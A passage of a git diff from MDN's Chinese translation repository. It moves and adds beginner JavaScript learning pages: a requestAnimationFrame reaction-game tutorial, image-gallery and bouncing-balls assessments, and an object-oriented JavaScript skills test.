在这个练习中,我们希望你能对cancelAnimationFrame()方法做一些测试,在之前的示例中添加新内容。你需要在示例中添加一个事件监听器,用于当鼠标在页面任意位置点击时,启动或停止旋转器。 

+ +

一些提示:

+ + + +
+

Note: 先自己尝试一下,如果你确实遇到困难,可以参看我们的在线示例源代码

+
+ +

限制 (节流) requestAnimationFrame()动画

+ +

requestAnimationFrame() 的限制之一是无法选择帧率。在大多数情况下,这不是问题,因为通常希望动画尽可能流畅地运行。但是,当要创建老式的8位类型的动画时,怎么办?

+ +

例如,在我们的 Drawing Graphics 文章中的猴子岛行走动画中的一个问题:

+ +

{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/7_canvas_walking_animation.html", '100%', 260)}}

+ +

在此示例中,必须为角色在屏幕上的位置及显示的精灵设置动画。精灵动画中只有6帧。如果通过 requestAnimationFrame() 为屏幕上显示的每个帧显示不同的精灵帧,则 Guybrush 的四肢移动太快,动画看起来很荒谬。因此,此示例使用以下代码限制精灵循环的帧率:

+ +
if (posX % 13 === 0) {
+  if (sprite === 5) {
+    sprite = 0;
+  } else {
+    sprite++;
+  }
+}
+ +

因此,代码每13个动画帧循环一次精灵。

+ +

...实际上,大约是每 6.5 帧,因为我们将每帧更新 posX 2个单位值(角色在屏幕上的位置)

+ +
if(posX > width/2) {
+  newStartPos = -( (width / 2) + 102 );
+  posX = Math.ceil(newStartPos / 13) * 13;
+  console.log(posX);
+} else {
+  posX += 2;
+}
+ +

这是用于计算如何更新每个动画帧中的位置的代码。

+ +

用于限制动画的方法将取决于特定代码。例如,在前面的旋转器实例中,可以通过仅在每帧中增加 rotateCount 一个单位(而不是两个单位)来使其运动速度变慢。

+ +

主动学习:反应游戏

+ +

对于本文的最后部分,将创建一个 2 人反应游戏。游戏将有两个玩家,其中一个使用 A 键控制游戏,另一个使用 L 键控制游戏。

+ +

按下 开始 按钮后,像前面看到的旋转器那样的将显示 5 到 10 秒之间的随机时间。之后将出现一条消息,提示 “PLAYERS GO!!”。一旦这发生,第一个按下其控制按钮的玩家将赢得比赛。

+ +

{{EmbedGHLiveSample("learning-area/javascript/asynchronous/loops-and-intervals/reaction-game.html", '100%', 500)}}

+ +

让我们来完成以下工作:

+ +
    +
  1. +

    首先,下载 starter file for the app 。其中包含完成的 HTML 结构和 CSS 样式,为我们提供了一个游戏板,其中显示了两个玩家的信息(如上所示),但 spinner 和 结果段落重叠显示,只需要编写 JavaScript 代码。

    +
  2. +
  3. +

    在页面上空的 {{htmlelement("script")}} 元素里,首先添加以下几行代码,这些代码定义了其余代码中需要的一些常量和变量:

    + +
    const spinner = document.querySelector('.spinner p');
    +const spinnerContainer = document.querySelector('.spinner');
    +let rotateCount = 0;
    +let startTime = null;
    +let rAF;
    +const btn = document.querySelector('button');
    +const result = document.querySelector('.result');
    + +

    这些是:

    + +
      +
    1. 对旋转器的引用,因此可以对其进行动画处理。
    2. +
    3. 包含旋转器 {{htmlelement("div")}} 元素的引用。用于显示和隐藏它。
    4. +
    5. 旋转计数。这确定了显示在动画每一帧上的旋转器旋转了多少。
    6. +
    7. 开始时间为null。当旋转器开始旋转时,它将赋值为 开始时间。
    8. +
    9. 一个未初始化的变量,用于之后存储使 旋转器 动画化的  {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}}  调用。
    10. +
    11. 开始按钮的引用。
    12. +
    13. 结果字段的引用。
    14. +
    +
  4. +
  5. +

    接下来,在前几行代码下方,添加以下函数。它只接收两个数字并返回一个在两个数字之间的随机数。稍后将需要它来生成随机超时间隔。

    + +
    function random(min,max) {
    +  var num = Math.floor(Math.random()*(max-min)) + min;
    +  return num;
    +}
    +
  6. +
  7. +

    接下来添加 draw() 函数以使 旋转器 动画化。这与之前的简单旋转器示例中的版本非常相似:

    + +
      function draw(timestamp) {
    +    if(!startTime) {
    +     startTime = timestamp;
    +    }
    +
    +    let rotateCount = (timestamp - startTime) / 3;
    +
    +    if(rotateCount > 359) {
    +      rotateCount %= 360;
    +    }
    +
    +    spinner.style.transform = 'rotate(' + rotateCount + 'deg)';
    +    rAF = requestAnimationFrame(draw);
    +  }
    +
  8. +
  9. +

    现在是时候在页面首次加载时设置应用程序的初始状态了。添加以下两行,它们使用 display: none; 隐藏结果段落和旋转器容器。

    + +
    result.style.display = 'none';
    +spinnerContainer.style.display = 'none';
    +
  10. +
  11. +

    接下来,定义一个 reset() 函数。该函数在游戏结束后将游戏设置回初始状态以便再次开启游戏。在代码底部添加以下内容:

    + +
    function reset() {
    +  btn.style.display = 'block';
    +  result.textContent = '';
    +  result.style.display = 'none';
    +}
    +
  12. +
  13. 好的,准备充分!现在该使游戏变得可玩了!将以下代码块添加到代码中。 start() 函数调用 draw() 以启动 旋转器,并在UI中显示它,隐藏“开始”按钮,这样您就无法通过同时启动多次来弄乱游戏,并运行一个经过5到10秒的随机间隔后,会运行 setEndgame() 函数的 setTimeout() 。下面的代码块还将一个事件侦听器添加到按钮上,以在单击它时运行 start() 函数。 +
    btn.addEventListener('click', start);
    +
    +function start() {
    +  draw();
    +  spinnerContainer.style.display = 'block';
    +  btn.style.display = 'none';
    +  setTimeout(setEndgame, random(5000,10000));
    +}
    +
  14. +
  15. 添加以下方法到代码:
  16. +
+ +
function setEndgame() {
+  cancelAnimationFrame(rAF);
+  spinnerContainer.style.display = 'none';
+  result.style.display = 'block';
+  result.textContent = 'PLAYERS GO!!';
+
+  document.addEventListener('keydown', keyHandler);
+
+  function keyHandler(e) {
+    console.log(e.key);
+    if(e.key === 'a') {
+      result.textContent = 'Player 1 won!!';
+    } else if(e.key === 'l') {
+      result.textContent = 'Player 2 won!!';
+    }
+
+    document.removeEventListener('keydown', keyHandler);
+    setTimeout(reset, 5000);
+  };
+}
+ +

逐步执行以下操作:

+ +
    +
  1. 首先通过 {{domxref("window.cancelAnimationFrame", "cancelAnimationFrame()")}}  取消 旋转器 动画(清理不必要的流程总是一件好事),隐藏 旋转器 容器。
  2. +
  3. 接下来,显示结果段落并将其文本内容设置为“ PLAYERS GO !!”。向玩家发出信号,表示他们现在可以按下按钮来取胜。
  4. +
  5. keydown 事件侦听器附加到 document。当按下任何按钮时,keyHandler() 函数将运行。
  6. +
  7. 在 keyHandler() 里,在 keyHandler() 内部,代码包括作为参数的事件对象作为参数(用 e 表示)- 其 {{domxref("KeyboardEvent.key", "key")}} 属性包含刚刚按下的键,可以通过这个对象来对特定的操作和特定的按键做出响应。
  8. +
  9. 将变量 isOver 设置为 false ,这样我们就可以跟踪是否按下了正确的按键以使玩家1或2获胜。我们不希望游戏在按下错误的键后结束。
  10. +
  11. e.key 输出到控制台,这是找出所按的不同键的键值的有用方法。
  12. +
  13. e.key 为“ a”时,显示一条消息说玩家1获胜;当 e.key 为“ l”时,显示消息说玩家2获胜。 (注意:这仅适用于小写的a和l - 如果提交了大写的 A 或 L(键加上 Shift),则将其视为另一个键!)如果按下了其中一个键,请将 isOver 设置为 true
  14. +
  15. 仅当 isOvertrue 时,才使用 {{domxref("EventTarget.removeEventListener", "removeEventListener()")}} 删除 keydown 事件侦听器,以便一旦产生获胜的按键,就不再有键盘输入可以弄乱最终游戏结果。您还可以使用 setTimeout() 在5秒钟后调用 reset()-如前所述,此函数将游戏重置为原始状态,以便可以开始新游戏。
  16. +
+ +

就这样-一切都完成了!

+ +
+

Note: 如果卡住了, check out our version of the reaction game (see the source code also).

+
+ +

结论

+ +

就是这样-异步循环和间隔的所有要点在一篇文章中介绍了。您会发现这些方法在许多情况下都很有用,但请注意不要过度使用它们!因为它们仍然在主线程上运行,所以繁重的回调(尤其是那些操纵DOM的回调)会在不注意的情况下降低页面的速度。

+ +

{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous")}}

+ +

In this module

+ + diff --git a/files/zh-cn/learn/javascript/building_blocks/image_gallery/index.html b/files/zh-cn/learn/javascript/building_blocks/image_gallery/index.html new file mode 100644 index 0000000000..22101b20ba --- /dev/null +++ b/files/zh-cn/learn/javascript/building_blocks/image_gallery/index.html @@ -0,0 +1,244 @@ +--- +title: 照片库 +slug: learn/JavaScript/Building_blocks/相片走廊 +tags: + - 事件 + - 事件句柄 + - 初学者 + - 学习 + - 循环 + - 评估 +translation_of: Learn/JavaScript/Building_blocks/Image_gallery +--- +
{{LearnSidebar}}
+ +
{{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}
+ +

我们已经学习了 JavaScript 基础的块结构,下面我们通过编写一个常见的基于 JavaScript 的照片库来测验一下你对于循环、函数、条件和事件的掌握情况。

+ + + + + + + + + + + + +
预备知识:请读完本章其它所有小节的内容后再开始这个测验。
目标:测试你对 JavaScript 的循环、函数、条件语句和事件处理的掌握程度。
+ +

起点

+ +

下载压缩包 并在本地解压。

+ +
+

:你还可以使用类似 JSBinThimble 这些在线编辑器来完成测验。你可以把 HTML、CSS 和 JavaScript 代码复制过去。如果你选的工具没有独立的 JavaScript/CSS 板面,可以随时在 HTML 页面中添加 <script>/<style> 元素。

+
+ +

项目简介

+ +

我们提供了一些 HTML、CSS、相片和几行 JavaScript 代码。需要你来编写必要的 JavaScript 代码让这个项目运行起来。HTML 的 body 部分如下:

+ +
<h1>照片库</h1>
+
+<div class="full-img">
+  <img class="displayed-img" src="images/pic1.jpg">
+  <div class="overlay"></div>
+  <button class="dark">变暗</button>
+</div>
+
+<div class="thumb-bar">
+
+</div>
+ +

你可以尝试操作一下这个示例,也可 在线打开。(不要偷看源代码哦!)

+ + + + + +

{{ EmbedLiveSample('Image_gallery', '100%', 680, "", "", "hide-codepen-jsfiddle") }}

+ +

以下是本例中 CSS 文件最值得关注的部分:

+ + + +

你的 JavaScript 需要:

+ + + +

可以看一下 完成的示例 体会一下。(别偷看代码哦)

+ +

步骤

+ +

以下是你的工作。

+ +

遍历照片

+ +

我们提供的代码中用一个名为 thumBar 的变量用来存储 thumb-bar <div> 的引用,创建了一个新的 <img> 元素,将它的 src 属性值设置成 xxx 占位符,并且将这个新的 <img> 元素添加到 thumbBar 里。

+ +

你应该:

+ +
    +
  1. 在"遍历图片"注释下方添加一个循环来遍历 5 张图片,只需要遍历 5 个数字,每个数字代表一张图片。
  2. +
  3. 每次迭代中,用图片路径的字符串替换掉占位符 xxx。即在每次迭代中把 src 属性设置为图片的路径。记住,图片都在 images 目录下,文件名是 pic1.jpgpic2.jpg,等等。
  4. +
+ +

给每一个缩略图添加点击处理器

+ +

每次迭代中,你需要给当前的 newImage 加上一个 onclick 事件处理函数——它应该:

+ +
    +
  1. 找到当前图片的 src 属性值。这个可以通过对当前的 <img> 用 "src" 作为参数调用 getAttribute() 函数来完成,但是如何在代码里获取图片?用 newImage 是不行的,因为在事件处理函数应用之前循环已经结束,这样每次迭代 src 的值都会是最后一张图片。因此,对于每个事件处理器,<img> 都是函数的目标。是否可以从事件对象获得相关信息呢。
  2. +
  3. 调用一个函数,取上一步返回的 src 值作为参数。可以给这个函数起一个喜欢的名字。
  4. +
  5. 事件处理器函数应该把 displayed-img <img> 的 src 属性值设为作为参数传入的 src 值。我们已经提供了一个 displayedImg 变量存储相关的 <img>。注意我们需要的是一个定义好的、有名字的函数。
  6. +
+ +

为变亮/变暗按钮编写处理器

+ +

还剩最后的变亮/变暗 <button>。我们已经提供了一个名为 btn 的变量来存储 <button> 的引用。需要添加一个 onclick 事件处理函数:

+ +
    +
  1. 检查当前 <button> 按钮的类名称,仍可用 getAttribute() 函数取得。
  2. +
  3. 如果类名的值是 "dark", 将 <button> 的类名变为 "light"(使用 setAttribute()), 文本内容变为 "变亮",蒙板 <div> 的{{cssxref("background-color")}} 设为 "rgba(0,0,0,0.5)"
  4. +
  5. 如果类名的值不是 "dark", 将 <button> 的类名变为 "dark",文本内容变为 "变暗",蒙板 <div> 的{{cssxref("background-color")}} 设为 "rgba(0,0,0,0)"
  6. +
+ +

以下是实现上述 2、3 点所提功能的基本代码:

+ +
btn.setAttribute('class', xxx);
+btn.textContent = xxx;
+overlay.style.backgroundColor = xxx;
+ +

提示

+ + + +

测验

+ +

如果你是在课堂上进行这个测验,你可以把作品交给导或教授去打分了。如果你是在自学,可以很容易地在 本节测验的讨论页Mozilla 聊天室#mdn 频道回复得到批改指南。请先自己试着做,作弊学不到任何东西!

+ +

{{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}

+ +

本章目录

+ + diff --git "a/files/zh-cn/learn/javascript/building_blocks/\347\233\270\347\211\207\350\265\260\345\273\212/index.html" "b/files/zh-cn/learn/javascript/building_blocks/\347\233\270\347\211\207\350\265\260\345\273\212/index.html" deleted file mode 100644 index 22101b20ba..0000000000 --- "a/files/zh-cn/learn/javascript/building_blocks/\347\233\270\347\211\207\350\265\260\345\273\212/index.html" +++ /dev/null @@ -1,244 +0,0 @@ ---- -title: 照片库 -slug: learn/JavaScript/Building_blocks/相片走廊 -tags: - - 事件 - - 事件句柄 - - 初学者 - - 学习 - - 循环 - - 评估 -translation_of: Learn/JavaScript/Building_blocks/Image_gallery ---- -
{{LearnSidebar}}
- -
{{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}
- -

我们已经学习了 JavaScript 基础的块结构,下面我们通过编写一个常见的基于 JavaScript 的照片库来测验一下你对于循环、函数、条件和事件的掌握情况。

- - - - - - - - - - - - -
预备知识:请读完本章其它所有小节的内容后再开始这个测验。
目标:测试你对 JavaScript 的循环、函数、条件语句和事件处理的掌握程度。
- -

起点

- -

下载压缩包 并在本地解压。

- -
-

:你还可以使用类似 JSBinThimble 这些在线编辑器来完成测验。你可以把 HTML、CSS 和 JavaScript 代码复制过去。如果你选的工具没有独立的 JavaScript/CSS 板面,可以随时在 HTML 页面中添加 <script>/<style> 元素。

-
- -

项目简介

- -

我们提供了一些 HTML、CSS、相片和几行 JavaScript 代码。需要你来编写必要的 JavaScript 代码让这个项目运行起来。HTML 的 body 部分如下:

- -
<h1>照片库</h1>
-
-<div class="full-img">
-  <img class="displayed-img" src="images/pic1.jpg">
-  <div class="overlay"></div>
-  <button class="dark">变暗</button>
-</div>
-
-<div class="thumb-bar">
-
-</div>
- -

你可以尝试操作一下这个示例,也可 在线打开。(不要偷看源代码哦!)

- - - - - -

{{ EmbedLiveSample('Image_gallery', '100%', 680, "", "", "hide-codepen-jsfiddle") }}

- -

以下是本例中 CSS 文件最值得关注的部分:

- - - -

你的 JavaScript 需要:

- - - -

可以看一下 完成的示例 体会一下。(别偷看代码哦)

- -

步骤

- -

以下是你的工作。

- -

遍历照片

- -

我们提供的代码中用一个名为 thumBar 的变量用来存储 thumb-bar <div> 的引用,创建了一个新的 <img> 元素,将它的 src 属性值设置成 xxx 占位符,并且将这个新的 <img> 元素添加到 thumbBar 里。

- -

你应该:

- -
    -
  1. 在"遍历图片"注释下方添加一个循环来遍历 5 张图片,只需要遍历 5 个数字,每个数字代表一张图片。
  2. -
  3. 每次迭代中,用图片路径的字符串替换掉占位符 xxx。即在每次迭代中把 src 属性设置为图片的路径。记住,图片都在 images 目录下,文件名是 pic1.jpgpic2.jpg,等等。
  4. -
- -

给每一个缩略图添加点击处理器

- -

每次迭代中,你需要给当前的 newImage 加上一个 onclick 事件处理函数——它应该:

- -
    -
  1. 找到当前图片的 src 属性值。这个可以通过对当前的 <img> 用 "src" 作为参数调用 getAttribute() 函数来完成,但是如何在代码里获取图片?用 newImage 是不行的,因为在事件处理函数应用之前循环已经结束,这样每次迭代 src 的值都会是最后一张图片。因此,对于每个事件处理器,<img> 都是函数的目标。是否可以从事件对象获得相关信息呢。
  2. -
  3. 调用一个函数,取上一步返回的 src 值作为参数。可以给这个函数起一个喜欢的名字。
  4. -
  5. 事件处理器函数应该把 displayed-img <img> 的 src 属性值设为作为参数传入的 src 值。我们已经提供了一个 displayedImg 变量存储相关的 <img>。注意我们需要的是一个定义好的、有名字的函数。
  6. -
- -

为变亮/变暗按钮编写处理器

- -

还剩最后的变亮/变暗 <button>。我们已经提供了一个名为 btn 的变量来存储 <button> 的引用。需要添加一个 onclick 事件处理函数:

- -
    -
  1. 检查当前 <button> 按钮的类名称,仍可用 getAttribute() 函数取得。
  2. -
  3. 如果类名的值是 "dark", 将 <button> 的类名变为 "light"(使用 setAttribute()), 文本内容变为 "变亮",蒙板 <div> 的{{cssxref("background-color")}} 设为 "rgba(0,0,0,0.5)"
  4. -
  5. 如果类名的值不是 "dark", 将 <button> 的类名变为 "dark",文本内容变为 "变暗",蒙板 <div> 的{{cssxref("background-color")}} 设为 "rgba(0,0,0,0)"
  6. -
- -

以下是实现上述 2、3 点所提功能的基本代码:

- -
btn.setAttribute('class', xxx);
-btn.textContent = xxx;
-overlay.style.backgroundColor = xxx;
- -

提示

- - - -

测验

- -

如果你是在课堂上进行这个测验,你可以把作品交给导或教授去打分了。如果你是在自学,可以很容易地在 本节测验的讨论页Mozilla 聊天室#mdn 频道回复得到批改指南。请先自己试着做,作弊学不到任何东西!

- -

{{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}

- -

本章目录

- - diff --git a/files/zh-cn/learn/javascript/objects/adding_bouncing_balls_features/index.html b/files/zh-cn/learn/javascript/objects/adding_bouncing_balls_features/index.html new file mode 100644 index 0000000000..2730489d15 --- /dev/null +++ b/files/zh-cn/learn/javascript/objects/adding_bouncing_balls_features/index.html @@ -0,0 +1,468 @@ +--- +title: 为“弹球”示例添加新功能 +slug: Learn/JavaScript/Objects/向“弹跳球”演示程序添加新功能 +tags: + - JavaScript + - 初学者 + - 对象 + - 测验 + - 面向对象 +translation_of: Learn/JavaScript/Objects/Adding_bouncing_balls_features +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Objects/Object_building_practice", "", "Learn/JavaScript/Objects")}}
+ +

在此次测验中, 你需要将上一节中的“弹球”演示程序作为模板,添加一些新的有趣的功能。

+ + + + + + + + + + + + +
预备知识:请确保完整学习本章所有内容后再开始测验。
目标:测试你对 JavaScript 对象和面向对象结构的理解。
+ +

开始

+ +

请先下载 index.htmlstyle.css 和 main.js 三个文件。

+ +
+

注:也可以使用 JSBinThimble 这样的网站来进行测验。 你可以选择其中一个将HTML,CSS 和JavaScript 粘贴过去。 如果你的版本没有单独的 JavaScript / CSS 板块,可以把它们嵌入 HTML 页面内的 <script>/<style> 元素。

+
+ +

项目简介

+ +

我们的弹球 demo 很有趣, 但是现在我们想让它更具有互动性,我们为它添加一个由玩家控制的“恶魔圈”,如果恶魔圈抓到弹球会把它会吃掉。我们还想测验你面向对象的水平,首先创建一个通用 Shape() 对象,然后由它派生出弹球和恶魔圈。最后,我们为 demo 添加一个计分器来记录剩下的球数。

+ +

程序最终会像这样:

+ + + + + +

{{ EmbedLiveSample('Evil_circle', '100%', 480, "", "", "hide-codepen-jsfiddle") }}

+ +

可以 查看完成版本 来获得更全面的体验。(别偷看源代码哦。)

+ +

步骤

+ +

以下各节介绍你需要完成的步骤。

+ +

创建我们的新对象

+ +

首先, 改变你现有的构造器 Ball() 使其成为构造器 Shape() 并添加一个新的构造器 Ball()

+ +
    +
  1. 构造器 Shape() 应该像构造器 Ball() 那样的方式定义 x, y, velX, 和 velY 属性,但不包括 colorsize 。
  2. +
  3. 还应该定义一个叫 exists 的新属性,用来标记球是否存在于程序中 (没有被恶魔圈吃掉)。这应该是一个布尔型((true/false)。
  4. +
  5. 构造器 Ball() 应该从构造器 Shape() 继承 x, y, velX, velY,和 exists 属性。
  6. +
  7. 构造器 Ball() 还应该像最初的构造器 Ball() 那样定义一个 color 和一个size 属性。
  8. +
  9. 请记得给构造器 Ball() 的prototypeconstructor 属性设置适当的值。
  10. +
+ +

draw(), update(), 和collisionDetect() 方法定义应保持不变。

+ +

你还需要为 new Ball() { ... } 构造器添加第五个参数—— exists, 且值为 true

+ +

到这里, 尝试重新加载代码(运行程序),程序以及重新设计的对象都应该像之前那样工作。

+ +

定义恶魔圈 EvilCircle()

+ +

现在是时候来看看那个坏蛋了——恶魔圈 EvilCircle()! 我们的游戏中只会有一个恶魔圈,但我们仍然要使用继承自 Shape() 的构造器来定义它,这是为让你得到锻炼。 之后你可能会想再添加一个由另一个玩家控制的恶魔圈到程序中,或者有几个电脑控制的恶魔圈。你可没法通过一个恶魔圈来掌管程序中的这个世界,但这个评估中就先只这么做吧。

+ +

EvilCircle() 构造器应该从Shape() 继承 x, y, 和 exists ,velXvelY 要恒为 20。

+ +

可以这样做:Shape.call(this, x, y, 20, 20, exists);

+ +

它还应该定义自己的一些属性,如:

+ + + +

再次记得给你的 EvilCircle() 构造器的传递的参数中定义你继承的属性,并且给prototypeconstructor 属性设置适当的值。

+ +

定义 EvilCircle() 的方法

+ +

EvilCircle() 应该有以下四个方法:

+ +

draw()

+ +

这个方法和 Ball()'s draw() 方法有着相同的目的:它们把都是对象的实例画在画布上(canvas) 。它们实现的方式差不多,所以你可以先复制 Ball.prototype.draw 的定义。然后你需要做下面的修改:

+ + + +

checkBounds()

+ +

这个方法和 Ball() 的 update() 函数做相同的事情—— 查看恶魔圈是否将要超出屏幕的边界, 并且禁止它超出。 同样,你可以直接复制 Ball.prototype.update 的定义, 但是你需要做一些修改:

+ + + +

setControls()

+ +

这个方法将会一个 onkeydown 的事件监听器给 window 对象,这样当特定的键盘按键按下的时候,我们就可以移动恶魔圈。下面的代码块应该放在方法的定义里:

+ +
window.onkeydown = e => {
+  switch(e.key) {
+    case 'a':
+      this.x -= this.velX;
+      break;
+    case 'd':
+      this.x += this.velX;
+      break;
+    case 'w':
+      this.y -= this.velY;
+      break;
+    case 's':
+      this.y += this.velY;
+      break;
+  }
+};
+ +

所以当一个按键按下时, 事件对象的 key 属性 就可以请求到按下的按键值。如果是代码中那四个指定的键值之一, 那么恶魔圈将会左右上下的移动。

+ +
+

译注:英文页面中使用了事件对象的 keyCode 属性,不推荐在新代码中使用该属性,应使用标准 key 属性代替。(详见介绍页面)

+
+ +
译注:这里的 window.onkeydown 用一个 箭头函数 代替了英文页面中的匿名函数,从而无需 var _this = this
+ +

collisionDetect()

+ +

这个方法和 Ball()'s collisionDetect() 方法很相似,所以你可以从它那里复制过来作为新方法的基础。但有一些不同之处:

+ + + +

把恶魔圈带到程序中

+ +

现在我们已经定义了恶魔圈,我们需要让它显示到我们的屏幕中。为了做这件事,你需要修改一下 loop() 函数:

+ + + +

计算得分

+ +

为了计算得分,需按照以下步骤:

+ +
    +
  1. 在你的HTML文件中添加一个{{HTMLElement("p")}} 元素到 {{HTMLElement("h1")}} 元素的下面,其中包含文本 "还剩多少个球"。
  2. +
  3. 在你的CSS文件中,添加下面的代码到底部: +
    p {
    +  position: absolute;
    +  margin: 0;
    +  top: 35px;
    +  right: 5px;
    +  color: #aaa;
    +}
    +
  4. +
  5. 在你的 JavaScript 文件中,做下列的修改: +
      +
    • 创建一个变量存储段落的引用。
    • +
    • 以同样的方式在屏幕上显示小球的数量。
    • +
    • 增加球数并在每次将球添加到屏幕里时显示更新的球数量。
    • +
    • 减少球数并在每次恶魔吃球时显示更新的球数(因为被吃掉的球不存在了)
    • +
    +
  6. +
+ +

提示

+ + + +

评定

+ +

如果你将此评估作为有组织的课程的一部分,你可以将你的成果交给您的老师/导师进行评分。 如果你是自学的,通过在 Learning Area Discourse thread, 或者在 Mozilla IRC 的 #mdn IRC 频道上申请,你可以十分容易地得到评分指南。首先先尝试这个练习,作弊不会有任何收获。

+ +

{{PreviousMenuNext("Learn/JavaScript/Objects/Object_building_practice", "", "Learn/JavaScript/Objects")}}

+ +

本章目录

+ + diff --git a/files/zh-cn/learn/javascript/objects/test_your_skills_colon__object-oriented_javascript/index.html b/files/zh-cn/learn/javascript/objects/test_your_skills_colon__object-oriented_javascript/index.html new file mode 100644 index 0000000000..8fd0cc3256 --- /dev/null +++ b/files/zh-cn/learn/javascript/objects/test_your_skills_colon__object-oriented_javascript/index.html @@ -0,0 +1,95 @@ +--- +title: 测试你的技能:面向对象的Javascript +slug: 'Learn/JavaScript/Objects/测试你的技能:面向对象的Javascript' +tags: + - JavaScript + - OOJS + - 初学者 + - 学习 + - 对象 + - 测试你的技能 +translation_of: 'Learn/JavaScript/Objects/Test_your_skills:_Object-oriented_JavaScript' +--- +
{{learnsidebar}}
+ +
这个测试的目的是为了评估你是否已经理解了我们的适合初学者的JavaScript面向对象对象原型,和 JavaScript 中的继承文章。
+ +
+ +
+

注意: 你可以尝试在下方的交互编辑器,但是若你下载源码或是使用在线工具例如 CodePen, jsFiddle, 或 Glitch 来进行这些项目的话,会更有帮助。

+ +

如果你在过程中想不出解决方案,你可以向我们寻求帮助——查看在本页的底部章节 {{anch("Assessment or further help")}}。

+
+ +
+

注意: 在下方的例子中,如果在你的代码中有错误内容的话,错误内容将在页面的结果面板进行显示,以此来帮助你想出解决方案(若是下载的版本,请进入浏览器的 JavaScript 控制台)。

+
+ +

OOJS 1

+ +

In this task we provide you with a constructor. We want you to:

+ + + +

Try updating the live code below to recreate the finished example:

+ +

{{EmbedGHLiveSample("learning-area/javascript/oojs/tasks/oojs/oojs1.html", '100%', 400)}}

+ +
+

Download the starting point for this task to work in your own editor or in an online editor.

+
+ +

OOJS 2

+ +

Next up we want you to take the Shape class you saw in Task #1 (including the calcPerimeter() method) and recreate it using ES class syntax instead.

+ +

Test that it works by creating the square and triangle object instances as before (using new Shape() for both), and then calling their calcPerimeter() methods.

+ +

Try updating the live code below to recreate the finished example:

+ +

{{EmbedGHLiveSample("learning-area/javascript/oojs/tasks/oojs/oojs2.html", '100%', 400)}}

+ +
+

Download the starting point for this task to work in your own editor or in an online editor.

+
+ +

OOJS 3

+ +

Finally, we'd like you to start with the ES Shape class you created in the last task.

+ +

We'd like you to create a Square class that inherits from Shape, and adds a calcArea() method that calculates the square's area. Also set up the constructor so that the name property of Square object instances is automatically set to square, and the sides property is automatically set to 4. When invoking the constructor, you should therefore just need to provide the sideLength property.

+ +

Create an instance of the Square class called square with appropriate property values, and call its calcPerimeter() and calcArea() methods to show that it works ok.

+ +

Try updating the live code below to recreate the finished example:

+ +

{{EmbedGHLiveSample("learning-area/javascript/oojs/tasks/oojs/oojs3.html", '100%', 400)}}

+ +
+

Download the starting point for this task to work in your own editor or in an online editor.

+
+ +

Assessment or further help

+ +

You can practice these examples in the Interactive Editors above.

+ +

If you would like your work assessed, or are stuck and want to ask for help:

+ +
    +
  1. Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections.
  2. +
  3. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: +
      +
    • A descriptive title such as "Assessment wanted for OOJS 1 skill test".
    • +
    • Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment.
    • +
    • A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code.
    • +
    • A link to the actual task or assessment page, so we can find the question you want help with.
    • +
    +
  4. +
diff --git "a/files/zh-cn/learn/javascript/objects/\345\220\221\342\200\234\345\274\271\350\267\263\347\220\203\342\200\235\346\274\224\347\244\272\347\250\213\345\272\217\346\267\273\345\212\240\346\226\260\345\212\237\350\203\275/index.html" "b/files/zh-cn/learn/javascript/objects/\345\220\221\342\200\234\345\274\271\350\267\263\347\220\203\342\200\235\346\274\224\347\244\272\347\250\213\345\272\217\346\267\273\345\212\240\346\226\260\345\212\237\350\203\275/index.html" deleted file mode 100644 index 2730489d15..0000000000 --- "a/files/zh-cn/learn/javascript/objects/\345\220\221\342\200\234\345\274\271\350\267\263\347\220\203\342\200\235\346\274\224\347\244\272\347\250\213\345\272\217\346\267\273\345\212\240\346\226\260\345\212\237\350\203\275/index.html" +++ /dev/null @@ -1,468 +0,0 @@ ---- -title: 为“弹球”示例添加新功能 -slug: Learn/JavaScript/Objects/向“弹跳球”演示程序添加新功能 -tags: - - JavaScript - - 初学者 - - 对象 - - 测验 - - 面向对象 -translation_of: Learn/JavaScript/Objects/Adding_bouncing_balls_features ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/JavaScript/Objects/Object_building_practice", "", "Learn/JavaScript/Objects")}}
- -

在此次测验中, 你需要将上一节中的“弹球”演示程序作为模板,添加一些新的有趣的功能。

- - - - - - - - - - - - -
预备知识:请确保完整学习本章所有内容后再开始测验。
目标:测试你对 JavaScript 对象和面向对象结构的理解。
- -

开始

- -

请先下载 index.htmlstyle.css 和 main.js 三个文件。

- -
-

注:也可以使用 JSBinThimble 这样的网站来进行测验。 你可以选择其中一个将HTML,CSS 和JavaScript 粘贴过去。 如果你的版本没有单独的 JavaScript / CSS 板块,可以把它们嵌入 HTML 页面内的 <script>/<style> 元素。

-
- -

项目简介

- -

我们的弹球 demo 很有趣, 但是现在我们想让它更具有互动性,我们为它添加一个由玩家控制的“恶魔圈”,如果恶魔圈抓到弹球会把它会吃掉。我们还想测验你面向对象的水平,首先创建一个通用 Shape() 对象,然后由它派生出弹球和恶魔圈。最后,我们为 demo 添加一个计分器来记录剩下的球数。

- -

程序最终会像这样:

- - - - - -

{{ EmbedLiveSample('Evil_circle', '100%', 480, "", "", "hide-codepen-jsfiddle") }}

- -

可以 查看完成版本 来获得更全面的体验。(别偷看源代码哦。)

- -

步骤

- -

以下各节介绍你需要完成的步骤。

- -

创建我们的新对象

- -

首先, 改变你现有的构造器 Ball() 使其成为构造器 Shape() 并添加一个新的构造器 Ball()

- -
    -
  1. 构造器 Shape() 应该像构造器 Ball() 那样的方式定义 x, y, velX, 和 velY 属性,但不包括 colorsize 。
  2. -
